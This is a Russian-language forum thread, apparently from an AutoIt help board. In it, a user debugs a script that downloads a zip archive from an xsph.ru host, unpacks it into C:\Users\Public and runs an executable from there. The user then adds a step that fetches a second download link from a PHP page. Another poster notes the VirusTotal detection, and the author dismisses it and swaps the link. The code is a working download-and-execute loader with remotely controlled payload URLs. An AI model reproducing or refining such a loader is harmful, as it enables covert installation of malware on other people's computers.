Скачать и распаковать архив, по отдельности код работает

[acuntenix]

Нехочет работать

$sHTML = BinaryToString(InetRead("http://f0537919.xsph.ru/USSR/zipzip.zip"), 4)
FileWrite(@ScriptDir & '\zip.zip', $sHTML) ;
ElseIf $sHTML = @error Then
return $sHTML
Else
$ZipFullName = @ScriptDir & "\zip.zip"
$ExtractPath = "C:Users\Public\"
$oShell = ObjCreate("Shell.Application")
$oPath = $oShell.NameSpace($ExtractPath)
$oZip = $oShell.NameSpace($ZipFullName)
$oPath.CopyHere($oZip.Items, 16)
Run("C:Users\Public\runerr.exe")
EndIf

Сообщение автоматически объединено: 4 Май 2021

$ZipFullName = @ScriptDir & "\zip.zip"
$ExtractPath = "C:\"
$oShell = ObjCreate("Shell.Application")
$oPath = $oShell.NameSpace($ExtractPath)
$oZip = $oShell.NameSpace($ZipFullName)
$oPath.CopyHere($oZip.Items, 16)

Ругается на 3 строку File""

 

[Khaibit]

Ля какая красота virustotal, раньше за такие вопросы, про подобное содержимое ты отлетел в бан сразу.

 

[acuntenix]

HackTool, это хрень оно на много что ругается, ссылку поменял
Архив только распаковка без запуска.

Сообщение автоматически объединено: 4 Май 2021

Заработало

InetGet("http://f0537919.xsph.ru/USSR/zipzip.zip", "zip.zip")
$ZipFullName = @ScriptDir & "\zip.zip"
$ExtractPath = "C:\Users\Public"
$oShell = ObjCreate("Shell.Application")
$oPath = $oShell.NameSpace($ExtractPath)
$oZip = $oShell.NameSpace($ZipFullName)
$oPath.CopyHere($oZip.Items, 16)

Cо слешем после паблик не работало нефига

Сообщение автоматически объединено: 4 Май 2021

Но появилась новая задача

















Нужно перейти по ссылке там, там выведется просто текст ссылки http://37919.xsph.ru/4 или какойто другая http://37919.xsph.ru/53

InetGet("http://37919.xsph.ru/php.php", @ScriptDir & "\mozilla.html")

Нужно добавить к ней 1.txt и сохранить все в указанную папку

http://37919.xsph.ru/4/1.txt

http://37919.xsph.ru/53/1.txt

C:\Users\Public

Сообщение автоматически объединено: 5 Май 2021

#include <File.au3>
InetGet("http://f0519.xsph.ru/php.php", @ScriptDir & "\tmp.tmp")
Global $aArray, $name
_FileReadToArray(@ScriptDir & "\tmp.tmp", $aArray, 0)
For $i=0 to UBound($aArray)-1
    _sendurl($aArray[$i])
Next
Func _sendurl($name)
InetGet($name, @ScriptDir & "\ers.txt")
EndFunc

Разобрался.
Берет юрл по адресу, там только ссылка выходит
Сохраняет в тмп.
Берет из тмп ссылку и все что скачивает по ней сохраняет в ерс.тхт
Все происходит в директории где находится скрипт